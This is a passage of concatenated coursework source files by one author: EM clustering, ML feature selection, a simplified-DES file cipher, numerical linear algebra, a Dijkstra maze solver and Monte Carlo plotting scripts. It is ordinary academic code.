MANUALLY | DEFAULT: init_params method #---MEANS_INIT:--------USER PROVIDES MEANS FOR EACH CLUSTER MANUALLY | DEFAULT: init_params method #---PRECISIONS_INIT:---USER PROVIDES INVERSES FOR THE COVARIANCE MATRICES MANUALLY | DEFAULT: init_params method #PROVABLE (TWO-STEP) EM ALGORITHM def provable_EM(data, k, l): #INITIALIZING PARAMETERS weights = [1./l, 1./l, 1./l, 1./l] means = data[np.random.choice(data.shape[0], l)] sigma = [] cov = [] for i in range(0, l): sigma.append(np.amin([np.linalg.norm(means[i] - x) for x in np.reshape(means[means != means[i]], (l-1, 2))])) for i in range(0, l): cov.append(np.identity(2)*(1./sigma[i])) #FIRST PASS OF EM ALGORITHM GM = GaussianMixture(n_components=l, n_init=5, weights_init=weights, means_init=means, precisions_init=cov).fit(data) weights = GM.weights_ means = GM.means_ prec = GM.precisions_ #PRUNING pruned = [i for i in range(0, l) if weights[i] < 1./(4*l)] weights = np.delete(weights, pruned, 0) means = np.delete(means, pruned, 0) prec = np.delete(prec, pruned, 0) #COMPUTE THE NEW INITIAL VALUES S_weights = np.array([weights[0]]) S_means = np.array([means[0]]) S_prec = np.array([prec[0]]) means = means = np.delete(means, 0, 0) while S_means.shape[0] < k: d = 0 for mu in means: mu_dist = np.amin([np.linalg.norm(mu - s) for s in S_means]) if mu_dist > d: d = mu_dist curr = mu index = np.where(means==mu)[0][0] S_weights = np.append(S_weights, [weights[index]], axis=0) S_means = np.append(S_means, [means[index]], axis=0) S_prec = np.append(S_prec, [prec[index]], axis=0) means = np.delete(means, index, 0) #NORMALIZE THE WEIGHTS S_weights = S_weights/np.sum(S_weights) #SECOND PASS OF EM ALGORITHM return GaussianMixture(n_components=k, n_init=5, weights_init=S_weights, means_init=S_means, precisions_init=S_prec).fit(data) #MAIN BLOCK def main(): with open('./output/results.txt', 'w') as f: xeasy = np.load('./data-parsed/xeasy.data.npy') x1 = np.load('./data-parsed/x1.data.npy') x2 = np.load('./data-parsed/x2.data.npy') #ONE-STEP EM ALGORITHM print('ONE-STEP EM:', file=f) GMeasy = GaussianMixture(n_components=2, n_init=5).fit(xeasy) GM1 = GaussianMixture(n_components=2, n_init=5).fit(x1) GM2 = GaussianMixture(n_components=2, n_init=5).fit(x2) print_results(GMeasy, GM1, GM2, f) print('==========================================', file=f) #TWO-STEP EM ALGORITHM print('TWO-STEP EM:', file=f) GMeasy = provable_EM(xeasy, 2, 4) GM1 = provable_EM(x1, 2, 4) GM2 = provable_EM(x2, 2, 4) print_results(GMeasy, GM1, GM2, f) def print_results(GMeasy, GM1, GM2, f): print('xeasy', file=f) print('pi: ', file=f) print(GMeasy.weights_, file=f) print('mu: ', file=f) print(GMeasy.means_, file=f) print('sigma: ', file=f) print(GMeasy.covariances_, file=f) print('------------------------------------------', file=f) print('x1', file=f) print('pi: ', file=f) print(GM1.weights_, file=f) print('mu: ', file=f) print(GM1.means_, file=f) print('sigma: ', file=f) print(GM1.covariances_, file=f) print('------------------------------------------', file=f) print('x2', file=f) print('pi: ', file=f) print(GM2.weights_, file=f) print('mu: ', file=f) print(GM2.means_, file=f) print('sigma: ', file=f) print(GM2.covariances_, file=f) #EXECUTE main() <file_sep>all: nba clean nba: main.o partA.o partB.o partC.o partD.o hash.o gcc -o nba main.o partA.o partB.o partC.o partD.o hash.o main.o: main.c gcc -c main.c partA.o: partA.c gcc -c partA.c partB.o: partB.c gcc -c partB.c partC.o: partC.c gcc -c partC.c partD.o: partD.c gcc -c partD.c hash.o: hash.c gcc -c hash.c clean: rm *.o <file_sep># <NAME>, FSU Mathematics PhD # <NAME>, FSU Mathematics PhD # Applied Machine Learning Assignment 4 import re import numpy as np training_data = ["./data/gisette/gisette_train.data", "./data/dexter/dexter_train.csv", "./data/madelon/madelon_train.data"] test_data = ["./data/gisette/gisette_valid.data", "./data/dexter/dexter_valid.csv", "./data/madelon/madelon_valid.data"] training_labels = ["./data/gisette/gisette_train.labels", "./data/dexter/dexter_train.labels", "./data/madelon/madelon_train.labels"] test_labels = ["./data/gisette/gisette_valid.labels", "./data/dexter/dexter_valid.labels", "./data/madelon/madelon_valid.labels"] #MAIN DATA PROCESSING for f_train_data, f_test_data, f_train_labels, f_test_labels in zip(training_data, test_data, training_labels, test_labels): with open(f_train_data) as train, open(f_test_data) as test, open(f_train_labels) as train_labels, open(f_test_labels) as test_labels: print("Processing: " + str(f_train_data.split("/")[-1])) data = [] valid = [] data_labels = [] valid_labels = [] #INPUT DATA for line in train: data.append([float(x) for x in re.split(r'[, ]', line.strip().strip("\n"))]) for line in test: valid.append([float(x) for x in re.split(r'[, ]', line.strip().strip("\n"))]) for line in train_labels: data_labels.append([float(x) for x in re.split(r'[ ]', line.strip().strip("\n"))]) for line in test_labels: valid_labels.append([float(x) for x in re.split(r'[ ]', line.strip().strip("\n"))]) data = np.asarray(data) valid = np.asarray(valid) data_labels = np.asarray(data_labels) valid_labels = np.asarray(valid_labels) #NORMALIZE avg = np.mean(data, axis=0) std = np.std(data, axis=0) data = (data - avg)/std data = data[:, (np.isfinite(data)).any(axis=0)] valid = (valid - avg)/std valid = valid[:, (np.isfinite(valid)).any(axis=0)] #RELABEL data_labels[data_labels != 1] = 0 valid_labels[valid_labels != 1] = 0 #OUTPUT DATA print("\t Writing normalized training data...") np.save("./data-norm/" + f_train_data.split("/")[-2] + "/" + f_train_data.split("/")[-1], data) print("\t Writing normalized validation data...") np.save("./data-norm/" + f_test_data.split("/")[-2] + "/" + f_test_data.split("/")[-1], valid) print("\t Writing training labels...") np.save("./data-norm/" + f_train_labels.split("/")[-2] + "/" + f_train_labels.split("/")[-1], data_labels) print("\t Writing validation labels...") np.save("./data-norm/" + f_test_labels.split("/")[-2] + "/" + f_test_labels.split("/")[-1], valid_labels) <file_sep>// <NAME>, FIU Mathematics & Computer Science BSc // Fall 2015 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static unsigned char S0[4][4] = {{1, 0, 3, 2}, {3, 2, 1, 0}, {0, 2, 1, 3}, {3, 1, 3, 2}}; static unsigned char S1[4][4] = {{0, 1, 2, 3}, {2, 0, 1, 3}, {3, 0, 1, 0}, {2, 1, 0, 3}}; unsigned char gen_subkey(unsigned char init_key[2], unsigned char subkey, int flag) { //temp_key = {[7], [5], [8], [3], [6] || [0], [9], [1], [2], [4]} //temp_key = {[5], [8], [3], [6], [7] || [9], [1], [2], [4], [0]}; //p8 = {[9], [3], [1], [6], [2], [7], [0], [4]} //subkey1 //temp_key = {[8], [3], [6], [7], [5] || [1], [2], [4], [0], [9]}; //p8 = {[1], [6], [2], [7], [4], [5], [9], [0]} //subkey2 //temp_key = {[3], [6], [7], [5], [8] || [2], [4], [0], [9], [1]}; //p8 = {[2], [7], [4], [5], [0], [8], [1], [9]} //subkey2 if(flag == 1) { subkey = subkey | (((init_key[0] >> 4) & 1) << 0); subkey = subkey | (((init_key[0] >> 0) & 1) << 1); subkey = subkey | (((init_key[0] >> 7) & 1) << 2); subkey = subkey | (((init_key[0] >> 2) & 1) << 3); subkey = subkey | (((init_key[0] >> 6) & 1) << 4); subkey = subkey | (((init_key[0] >> 1) & 1) << 5); subkey = subkey | (((init_key[0] >> 3) & 1) << 6); subkey = subkey | (((init_key[1] >> 1) & 1) << 7);//9 } else if (flag == 2) { subkey = subkey | (((init_key[1] >> 1) & 1) << 0);//9 subkey = subkey | (((init_key[0] >> 1) & 1) << 1); subkey = subkey | (((init_key[1] >> 0) & 1) << 2);//8 subkey = subkey | (((init_key[0] >> 0) & 1) << 3); subkey = subkey | (((init_key[0] >> 5) & 1) << 4); subkey = subkey | (((init_key[0] >> 4) & 1) << 5); subkey = subkey | (((init_key[0] >> 7) & 1) << 6); subkey = subkey | (((init_key[0] >> 2) & 1) << 7); } return subkey; } unsigned char initial_permutation(unsigned char block) { unsigned char temp = block; block = 0; block = block | (((temp >> 1) & 1) << 0); block = block | (((temp >> 3) & 1) << 1); block = block | (((temp >> 0) & 1) << 2); block = block | (((temp >> 4) & 1) << 3); block = block | (((temp >> 7) & 1) << 4); block = block | (((temp >> 5) & 1) << 5); block = block | (((temp >> 2) & 1) << 6); block = block | (((temp >> 6) & 1) << 7); return block; } unsigned char inverse_permutation(unsigned char block) { unsigned char temp = block; block = 0; block = block | (((temp >> 2) & 1) << 0); block = block | (((temp >> 0) & 1) << 1); block = block | (((temp >> 6) & 1) << 2); block = block | (((temp >> 1) & 1) << 3); block = block | (((temp >> 3) & 1) << 4); block = block | (((temp >> 5) & 1) << 5); block = block | (((temp >> 7) & 1) << 6); block = block | (((temp >> 4) & 1) << 7); return block; } unsigned char SW(unsigned char block) { unsigned char temp = block; block = 0; block = block | (((temp >> 4) & 1) << 0); block = block | (((temp >> 5) & 1) << 1); block = block | (((temp >> 6) & 1) << 2); block = block | (((temp >> 7) & 1) << 3); block = block | (((temp >> 0) & 1) << 4); block = block | (((temp >> 1) & 1) << 5); block = block | (((temp >> 2) & 1) << 6); block = block | (((temp >> 3) & 1) << 7); return block; } unsigned char fK(unsigned char subkey, unsigned char block) { //unsigned char e_p[8] = {block[4], block[7], block[6], block[5], block[6], block[5], block[4], block[7]}; unsigned char entry0, entry1; unsigned char matrix_result = 0; unsigned char e_p = 0; //expand and permute the right-most 4 bits of the block e_p = e_p | (((block >> 3) & 1) << 0); e_p = e_p | (((block >> 0) & 1) << 1); e_p = e_p | (((block >> 1) & 1) << 2); e_p = e_p | (((block >> 2) & 1) << 3); e_p = e_p | (((block >> 1) & 1) << 4); e_p = e_p | (((block >> 2) & 1) << 5); e_p = e_p | (((block >> 3) & 1) << 6); e_p = e_p | (((block >> 0) & 1) << 7); //XOR with the subkey e_p = e_p ^ subkey; //compute the entries in the matrices entry0 = S0[(((e_p >> 7) & 1) << 1) | ((e_p >> 4) & 1)][(((e_p >> 6) & 1) << 1) | ((e_p >> 5) & 1)]; entry1 = S1[(((e_p >> 3) & 1) << 1) | ((e_p >> 0) & 1)][(((e_p >> 2) & 1) << 1) | ((e_p >> 1) & 1)]; //block = block | ((((entry0 >> 1) & 1) ^ ((block >> 4) & 1)) << 4); //permute the matrix using P4 matrix_result = matrix_result | (((entry0 >> 1) & 1) << 4); matrix_result = matrix_result | (((entry1 >> 1) & 1) << 5); matrix_result = matrix_result | (((entry1 >> 0) & 1) << 6); matrix_result = matrix_result | (((entry0 >> 0) & 1) << 7); //XOR the result with the left-most 4 bits of the block (the right-most 4 bits of matrix_result are 0) block = block ^ matrix_result; return block; } void encryption(unsigned char subkey_one, unsigned char subkey_two, unsigned char init_vector, char* s_filename, char* r_filename) { FILE* s_file; FILE* r_file; unsigned char buffer[1]; if((s_file = fopen(s_filename, "rb")) == NULL) { printf("ERROR: could not open source file!\n"); return; } if((r_file = fopen(r_filename, "wb")) == NULL) { printf("ERROR: could not create destination file!\n"); return; } while(fread(buffer, sizeof(char), 1, s_file)) { unsigned char block = buffer[0]; //cypher block chaining (encryption): XOR block with vector block = block ^ init_vector; //encrypting the block block = inverse_permutation(fK(subkey_two, SW(fK(subkey_one, initial_permutation(block))))); //cypher block chaining: updating the vector init_vector = block; //write encrypted block to file buffer[0] = block; fwrite(buffer, sizeof(char), 1, r_file); } fclose(s_file); fclose(r_file); } void decryption(unsigned char subkey_one, unsigned char subkey_two, unsigned char init_vector, char* s_filename, char* r_filename) { FILE* s_file; FILE* r_file; unsigned char buffer[1]; if((s_file = fopen(s_filename, "rb")) == NULL) { printf("ERROR: could not open source file!\n"); return; } if((r_file = fopen(r_filename, "wb")) == NULL) { printf("ERROR: could not create destination file!\n"); return; } while(fread(buffer, sizeof(char), 1, s_file)) { unsigned char block = buffer[0]; //encrypting the block block = inverse_permutation(fK(subkey_one, SW(fK(subkey_two, initial_permutation(block))))); //cypher block chaining (decryption): XOR block with vector block = block ^ init_vector; //cypher block chaining: updating the vector init_vector = buffer[0]; //write decrypted block to file buffer[0] = block; fwrite(buffer, sizeof(char), 1, r_file); } fclose(s_file); fclose(r_file); } int main(int argc, char* argv[]) { int decode_flag, n; char* s_filename; char* r_filename; unsigned char init_key[2]; unsigned char init_vector = 0; //unsigned char subkey_one = 0; //unsigned char subkey_two = 0; //checking arguments if(argc < 5) { printf("ERROR: not enough arguments!\n"); printf("For encryption: ./mycipher <init_key> <init_vector> <s_filename> <r_filename>\n"); printf("For decryption: ./mycipher -d <init_key> <init_vector> <s_filename> <r_filename>\n"); return -1; } else if(argc == 5) { decode_flag = 0; n = 1; } else if(strlen(argv[1]) != 2 || argv[1][0] != '-' || argv[1][1] != 'd') { printf("ERROR: unrecognized input \"%s\"!\n", argv[1]); printf("For encryption: ./mycipher <init_key> <init_vector> <s_filename> <r_filename>\n"); printf("For decryption: ./mycipher -d <init_key> <init_vector> <s_filename> <r_filename>\n"); return -1; } else { decode_flag = 1; n = 2; } init_key[0] = 0; init_key[1] = 0; //set init_key for(int i = 0; i < 8; i++) { if(argv[n][9 - i] == '1') { init_key[0] = init_key[0] | (1 << i); } else if(argv[n][9 - i] == '0') { continue; } else { printf("ERROR: init_key was not a binary string!\n"); return -1; } } //still setting init_key for(int i = 8; i < 10; i++) { if(argv[n][9 - i] == '1') { init_key[1] = init_key[1] | (1 << (i - 8)); } else if(argv[n][9 - i] == '0') { continue; } else { printf("ERROR: init_key was not a binary string!\n"); return -1; } } n = n + 1; //set init_vector for(int i = 0; i < 8; i++) { if(argv[n][7 - i] == '1') { init_vector = init_vector | (1 << i); } else if(argv[n][7 - i] == '0') { continue; } else { printf("ERROR: init_vector was not a binary string!\n"); return -1; } } n = n + 1; s_filename = argv[n]; n = n + 1; r_filename = argv[n]; //generate the subkeys and either encrypt or decrypt the file if(decode_flag) { decryption(gen_subkey(init_key, 0, 1), gen_subkey(init_key, 0, 2), init_vector, s_filename, r_filename); printf("Succesfully decrypted file %s to %s!\n", s_filename, r_filename); } else { encryption(gen_subkey(init_key, 0, 1), gen_subkey(init_key, 0, 2), init_vector, s_filename, r_filename); printf("Succesfully encrypted file %s to %s!\n", s_filename, r_filename); } return 0; } <file_sep># <NAME>, FSU Mathematics PhD # <NAME>, FSU Mathematics PhD # Applied Machine Learning Assignment 6 import re import numpy as np import matplotlib.pyplot as plt training_data = ["./data-norm/gisette/gisette-train.data.npy", "./data-norm/dexter/dexter-train.csv.npy", "./data-norm/madelon/madelon-train.data.npy"] test_data = ["./data-norm/gisette/gisette-valid.data.npy", "./data-norm/dexter/dexter-valid.csv.npy", "./data-norm/madelon/madelon-valid.data.npy"] training_labels = ["./data-norm/gisette/gisette-train.labels.npy", "./data-norm/dexter/dexter-train.labels.npy", "./data-norm/madelon/madelon-train.labels.npy"] test_labels = ["./data-norm/gisette/gisette-valid.labels.npy", "./data-norm/dexter/dexter-valid.labels.npy", "./data-norm/madelon/madelon-valid.labels.npy"] #SHRINKAGE FACTOR s = 0.001 #ANNEALING PARAMETER μ = 100 #NUMBER OF ITERATIONS N_itr = 500 #LEARNING RATES FOR DIFFERENT DATA SETS η_master = [5, 10, 0.01] #VARIABLE SELECTION PARAMETER K = [10, 30, 100, 300] #LOSS FUNCTION def lorenz_loss(X, Y, β): z = Y * np.dot(X, β) loss = np.log(1 + (z - 1)**2) loss[z > 1] = 0 return np.sum(loss)/X.shape[0] + s * (np.linalg.norm(β)**2) #GRADIENT OF LORENZ LOSS def gradient(X, Y, β): ybx = Y * np.dot(X, β) f = (2*(ybx - 1)/(1 + (ybx - 1)**2)) f[ybx > 1] = 0 return np.dot(X.T, f * Y)/X.shape[0] + 2*s*β #VARIABLE ELIMINATION; RETAIN ONLY THE Mi FEATURES WITH THE LARGEST L2 NORM def feature_selection(β, Mi): sorted_features = np.flip(np.sort(β**2, kind="mergesort", axis=None)) threshold = sorted_features[Mi-1] count = len([f for f in sorted_features[Mi:] if f == threshold]) β[β**2 < threshold] = 0 for i in range(0, β.shape[0]): if β[i]**2 == threshold and count > 0: β[i] = 0 count -= 1 elif count <= 0: break return β #FEATURE SELECTION WITH ANNEALING: GRADIENT DESCENT FOLLOWED BY VARIABLE ELIMINATION def fsa(X, Y, validation, η, k): N = X.shape[0] M = X.shape[1] β = np.zeros(M); loss = [] for i in range(1, N_itr+1): β = β - η * gradient(X, Y, β) #FIND THE NUMBER OF FEATURES TO RETAIN Mi = int(k + (M - k)*max(0, (N_itr - 2*i)/(2*i*μ + N_itr))) β = feature_selection(β, Mi) indices = np.where(β == 0) #DELETE THE IRRELEVANT FEATURES FROM THE WEIGHTS AND DATA β = np.delete(β, indices) X = np.delete(X, indices, axis=1) validation = np.delete(validation, indices, axis=1) loss.append(lorenz_loss(X, Y, β)) return β, X, validation, loss #PREDICTION def predict(X, Y, β): p = 1/(1 + np.exp(-np.dot(X, β))) p[p >= 0.5] = 1 p[p < 0.5] = -1 error = np.count_nonzero(Y - p)/Y.shape[0] * 100 return error #MAIN PROGRAM f = open("report/results/results.txt", 'w') losses = [] for η, f_train_data, f_test_data, f_train_labels, f_test_labels in zip(η_master, training_data, test_data, training_labels, test_labels): print("Processing: " + f_train_data.split("/")[-2], file=f) for k in K: print("\tk = " + str(k), file=f) Xtrain = np.load(f_train_data) Ytrain = np.load(f_train_labels) Xtest = np.load(f_test_data) Ytest = np.load(f_test_labels) #TRAINING THE MODEL β, Xtrain, Xtest, loss = fsa(Xtrain, Ytrain, Xtest, η, k) if k == 10: losses.append(loss) #PREDICT NEW LABELS AND COMPUTE THE MISCLASSIFICATION ERROR error_train = predict(Xtrain, Ytrain, β) print("\t\tTraining error: " + str(error_train), file=f) error_test = predict(Xtest, Ytest, β) print("\t\tValidation error: " + str(error_test), file=f) x_axis = range(1, 501) fig, ax = plt.subplots() ax.plot(x_axis, losses[0], label="Gisette") ax.plot(x_axis, losses[1], label="Dexter") ax.plot(x_axis, losses[2], label="Madelon") legend = ax.legend(loc='best') plt.title(r'Training Loss vs. Iterations') plt.xticks([1, 100, 200, 300, 400, 500], [1, 100, 200, 300, 400, 500]) plt.xlabel("Iteration Number") plt.ylabel("Training Loss") plt.savefig("./report/figures/graph.eps", format="eps", dpi=1000, bbox_inches="tight") <file_sep># Quadrature Implementation of various quadrature methods for numerical integration in C++. Methods implemented include Midpoint rule, Trapezoid rule, Simpson's rule, and Gaussian quadrature. Also included is an implementation of Trapezoid rule with step-halving and extrapolation (i.e. an implementation of Romberg quadrature). <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <vector> #include <math.h> #include <time.h> #include <cmath> #include <complex> using namespace std; #include "linear_algebra.h" #include "norms.h" //adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif vector<vector<precision>> identity(int n){ vector<vector<precision>> I(n, vector<precision>(n)); for(int i = 0; i < n; i++) I[i][i] = 1; return I; } vector<vector<precision>> random_matrix(int n){ srand(time(NULL)); vector<vector<precision>> A(n, vector<precision>(n)); for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) A[i][j] = rand() % n; return A; } vector<vector<precision>> householder(vector<vector<precision>> A){ int n = A.size(); vector<vector<precision>> Q(n, vector<precision>(n)); for(int i = 0; i < n; i++) Q[i][i] = 1; for(int i = 0; i < n - 1; i++){ vector<precision> x(n); precision v = A[i][i]; precision norm = 0; for(int j = i; j < n; j++) norm += A[j][i]*A[j][i]; norm = sqrt(norm); x[i] = v - norm; for(int j = i + 1; j < n; j++) x[j] = A[j][i]; A[i][i] = -norm; norm = 2*norm*(norm - v); x = scale(1/sqrt(norm), x); Q = difference(Q, outer_product(scale(2, x), product({x}, Q)[0])); for(int j = i + 1; j < n; j++){ precision u = (v - A[i][i])*A[i][j]; for(int l = i + 1; l < n; l++) u += A[l][i]*A[l][j]; A[i][j] -= 2*u*(v - A[i][i])/norm; for(int l = i + 1; l < n; l++) A[l][j] -= 2*u*A[l][i]/norm; } for(int j = i + 1; j < n; j++) A[j][i] = 0; } return transpose(Q); } vector<vector<precision>> classical_gram_schmidt(vector<vector<precision>> A){ int n = A.size(); vector<precision> u(n); for(int i = 0; i < n; i++){ u = A[i]; for(int j = 0; j < i; j++) A[i] = difference(A[i], scale(inner_product(A[j], u), A[j])); A[i] = scale(1/norm_L2(A[i]), A[i]); } return A; } vector<vector<precision>> modified_gram_schmidt(vector<vector<precision>> A){ int n = A.size(); for(int i = 0; i < n; i++){ for(int j = 0; j < i; j++) A[i] = difference(A[i], scale(inner_product(A[j], A[i]), A[j])); A[i] = scale(1/norm_L2(A[i]), A[i]); } return A; } int main(int argc, char* argv[]){ int n = 5; vector<vector<precision>> I = identity(n); vector<vector<precision>> A = random_matrix(n); vector<vector<precision>> Q = householder(A); vector<vector<precision>> CGS = classical_gram_schmidt(A); vector<vector<precision>> MGS = modified_gram_schmidt(A); vector<vector<precision>> error_Q = difference(product(transpose(Q), Q), I); vector<vector<precision>> error_CGS = difference(product(transpose(CGS), CGS), I); vector<vector<precision>> error_MGS = difference(product(transpose(MGS), MGS), I); cout << "Householder Reflector Max Error:\t" << norm_inf(error_Q) << endl; cout << "Classical Gram-Schmidt Max Error:\t" << norm_inf(error_CGS) << endl; cout << "Modified Gram-Schmidt Max Error:\t" << norm_inf(error_MGS) << endl; return 0; } <file_sep>// <NAME>, FIU Mathematics & Computer Science BSc // Spring 2013 import java.util.Stack; import java.util.Scanner; import java.util.PriorityQueue; import java.io.File; import java.io.FileNotFoundException; import java.io.PrintWriter; import java.io.IOException; public class DijkstraMazeTraversal { public static void main(String[] args) throws FileNotFoundException { int f = 0; PrintWriter writer = new PrintWriter("output.txt"); //format checking for console arguments if(args.length == 0) { System.out.println("Please provide \"-p (...) -f (...)\" arguments."); return; } //format checking and reading console arguments if(args[0].equals("-p")) { while(f < args.length && !args[f].equals("-f")) { f = f + 1; } if(f == 1) { System.out.println("Error: no penalties provided"); return; } if(f + 1 >= args.length) { System.out.println("Error: no files provided."); return; } } else { System.out.println("Error: no penalties provided."); return; } //executing files with penalties //iterates first over files, then over penalties for each file for(int i = f + 1; i < args.length; i++) { for(int j = 1; j < f; j++) { try { mazeTraversal(Integer.parseInt(args[j]), new File(args[i]), writer); System.out.printf("%s has been solved with penalty %d.\n", args[i], Integer.parseInt(args[j])); } catch(FileNotFoundException e) { System.out.printf("Error: %s does not exist.\n", args[i]); } } } System.out.println("Results are localed in \"output.txt\"."); writer.close(); } //mostly reading input and initializing variables public static void mazeTraversal(int penalty, File file, PrintWriter writer) throws FileNotFoundException { Scanner scanner = new Scanner(file); int line = 1; int row = scanner.nextInt(); int col = scanner.nextInt(); Room[][] maze = new Room[row][col]; //initialize maze array for(int i = 0; i < row; i++) { for(int j = 0; j < col; j++) { maze[i][j] = new Room(i, j); } } //error checking if(scanner.hasNextLine()) { scanner.nextLine(); } else { System.out.printf("Error: %s is empty. Process aborted.", file); writer.printf("Error in %s: see console. Process aborted.\n\n", file); return; } //initialize rooms with interior walls while(scanner.hasNextLine()) { Scanner lineScanner = new Scanner(scanner.nextLine()); //format checking if(!lineScanner.hasNext()) { System.out.printf("Error: Line %d is blank and has been ignored.\n", line); line = line + 1; continue; } //format checking and reading input if(lineScanner.hasNextInt()) { row = lineScanner.nextInt(); } else { System.out.printf("Error: Line %d contains ill-formatted coordinates. Process aborted.\n", line); break; } //format checking and reading input if(lineScanner.hasNextInt()) { col = lineScanner.nextInt(); } else { System.out.printf("Error: Line %d contains ill-formatted coordinates. Process aborted.\n", line); break; } //storing input try { if(lineScanner.hasNext()) { if(row < maze.length && row >= 0 && col < maze[0].length && col >= 0) { maze[row][col].initialize(lineScanner.next().toCharArray(), line); } else { System.out.printf("Coordinates (%d, %d) are out of bounds in line %d. Line has been ignored.\n", row, col, line); } } else { System.out.printf("Cell (%d, %d) does not have any walls listed on line %d. Assumed to have no adjacent walls.\n", row, col, line); } } catch(IOException e) { System.out.println(e); writer.printf("Error in %s: see console. Process aborted.\n\n", file); return; } line = line + 1; lineScanner.close(); } //perform Dijkstra's algorithm to find a shortest path writer.printf("Path for %s with penalty %d: ", file, penalty); dijkstra(maze, penalty, writer); scanner.close(); } //performs Dijkstra's algorithm with a PriorityQueue public static void dijkstra(Room[][] maze, int penalty, PrintWriter writer) { int walls = 0; boolean[][] visited = new boolean[maze.length][maze[0].length]; Stack<Character> path = new Stack<>(); PriorityQueue<Room> queue = new PriorityQueue<>(); Room room = maze[0][0]; room.distance = 0; //calculate distances do { visited[room.row][room.col] = true; //update north if(room.row - 1 >= 0 && !visited[room.row - 1][room.col]) { Room north = maze[room.row - 1][room.col]; int tempDistance = room.distance + 1; boolean flag = false; //add penalty if there is a wall if(room.n) { flag = true; tempDistance = tempDistance + penalty; } if(north.distance == -1 || tempDistance < north.distance) { north.distance = tempDistance; north.previous = new Triplet(room, 'N', flag); queue.offer(north); } } //update south if(room.row + 1 < maze.length && !visited[room.row + 1][room.col]) { Room south = maze[room.row + 1][room.col]; int tempDistance = room.distance + 1; boolean flag = false; //add penalty if there is a wall if(room.s) { flag = true; tempDistance = tempDistance + penalty; } if(south.distance == -1 || tempDistance < south.distance) { south.distance = tempDistance; south.previous = new Triplet(room, 'S', flag); queue.offer(south); } } //update east if(room.col + 1 < maze[0].length && !visited[room.row][room.col + 1]) { Room east = maze[room.row][room.col + 1]; int tempDistance = room.distance + 1; boolean flag = false; //add penalty if there is a wall if(room.e) { flag = true; tempDistance = tempDistance + penalty; } if(east.distance == -1 || tempDistance < east.distance) { east.distance = tempDistance; east.previous = new Triplet(room, 'E', flag); queue.offer(east); } } //update west if(room.col - 1 >= 0 && !visited[room.row][room.col - 1]) { Room west = maze[room.row][room.col - 1]; int tempDistance = room.distance + 1; boolean flag = false; //add penalty if there is a wall if(room.w) { flag = true; tempDistance = tempDistance + penalty; } if(west.distance == -1 || tempDistance < west.distance) { west.distance = tempDistance; west.previous = new Triplet(room, 'W', flag); queue.offer(west); } } //select next closest room room = queue.poll(); } while(!queue.isEmpty() && !room.equals(maze[maze.length - 1][maze[0].length - 1])); room = maze[maze.length - 1][maze[0].length - 1]; //trace the shortest path starting at the end towards the beginning while(!room.equals(maze[0][0])) { if(room.previous.wall) { walls = walls + 1; } path.push(room.previous.direction); room = room.previous.room; } //return the path starting at the beginning while(!path.isEmpty()) { writer.print(path.pop()); } writer.printf("\nThe total cost was %d, with %d walls knocked down.\n\n", maze[maze.length - 1][maze[0].length - 1].distance, walls); } } //holds information about the individual cells in the maze class Room implements Comparable<Room> { Triplet previous; int distance; int row; int col; boolean n; boolean s; boolean e; boolean w; public Room(int row, int col) { previous = null; this.distance = -1; this.row = row; this.col = col; this.n = false; this.s = false; this.e = false; this.w = false; } //initialize wall values public void initialize(char[] walls, int line) throws IOException { for(int i = 0; i < walls.length; i++) { switch(walls[i]) { case 'N': this.n = true; continue; case 'n': this.n = true; continue; case 'S': this.s = true; continue; case 's': this.s = true; continue; case 'E': this.e = true; continue; case 'e': this.e = true; continue; case 'W': this.w = true; continue; case 'w': this.w = true; continue; default: throw new IOException("Error: Improper format at line " + line + ". Process aborted."); } } } public boolean equals(Room room) { return this.row == room.row && this.col == room.col; } //so that objects can be ordered based, on distance from the start, for the PriorityQueue public int compareTo(Room room) { return this.distance - room.distance; } } class Triplet { Room room; char direction; boolean wall; public Triplet(Room room, char direction, boolean wall) { this.room = room; this.direction = direction; this.wall = wall; } } <file_sep>from scipy.special import comb import math import seaborn as sns import matplotlib.pyplot as plt sns.set(style='ticks', palette='Set2') def graph_mean(N, crude, anti, control, filename): fig, ax = plt.subplots() ax = sns.lineplot(x=N, y=[(math.e - 1) for n in N], dashes=True, label='True Value') ax = sns.lineplot(x=N, y=crude, label='Crude') ax = sns.lineplot(x=N, y=anti, label='Antithetic') ax = sns.lineplot(x=N, y=control, label='Control') ax.lines[0].set_linestyle('--') ax.set(xticks=N) plt.xlabel('$N$') legend = ax.legend(loc='best') plt.savefig('../figures/' + filename + '.pdf', format='pdf', dpi=1000, bbox_inches='tight') def graph_var(N, crude, anti, control, filename): fig, ax = plt.subplots() ax = sns.lineplot(x=N, y=crude, label='Crude') ax = sns.lineplot(x=N, y=anti, label='Antithetic') ax = sns.lineplot(x=N, y=control, label='Control') ax.lines[2].set_linestyle('--') ax.set(xticks=N) plt.xlabel('$N$') legend = ax.legend(loc='best') plt.savefig('../figures/' + filename + '.pdf', format='pdf', dpi=1000, bbox_inches='tight') def graph_error(N, crude, anti, control, filename): fig, ax = plt.subplots() ax = sns.lineplot(x=N, y=crude, label='Crude') ax = sns.lineplot(x=N, y=anti, label='Antithetic') ax = sns.lineplot(x=N, y=control, label='Control') ax.set(xticks=N) plt.xlabel('$N$') legend = ax.legend(loc='best') plt.savefig('../figures/' + filename + '.pdf', format='pdf', dpi=1000, bbox_inches='tight') def main(): N = [n*pow(10, 4) for n in [1, 2, 3, 4, 5]] mean_crude = [1.7163427216379707, 1.7224683092151092, 1.7175469454614931, 1.7195327326676335, 1.716042951088645] mean_anti = [1.7190759180648933, 1.7181647551000991, 1.7182807406143692, 1.7181387743301026, 1.7181811210019788] mean_control = [1.71933720483377, 1.7182157514461505, 1.718001184306902, 1.7177462170967643, 1.7185802225173399] graph_mean(N, mean_crude, mean_anti, mean_control, 'mean') var_crude = [0.24070640733321344, 0.2449467540827154, 0.24209748817550245, 0.2414545211639719, 0.2410606609642642] var_anti = [0.00399766851668589, 0.003920373105039708, 0.0039054819807029404, 0.0039055986498623975, 0.003928181937815285] var_control = [0.0040055006510773625, 0.003923870045177055, 0.003931420758714026, 0.0039044745951596137, 0.0039427080538887] graph_var(N, var_crude, var_anti, var_control, 'var') θ = math.e - 1 error_crude = [abs(θ - m) for m in mean_crude] error_anti = [abs(θ - m) for m in mean_anti] error_control = [abs(θ - m) for m in mean_control] graph_error(N, error_crude, error_anti, error_control, 'error') main() <file_sep>void 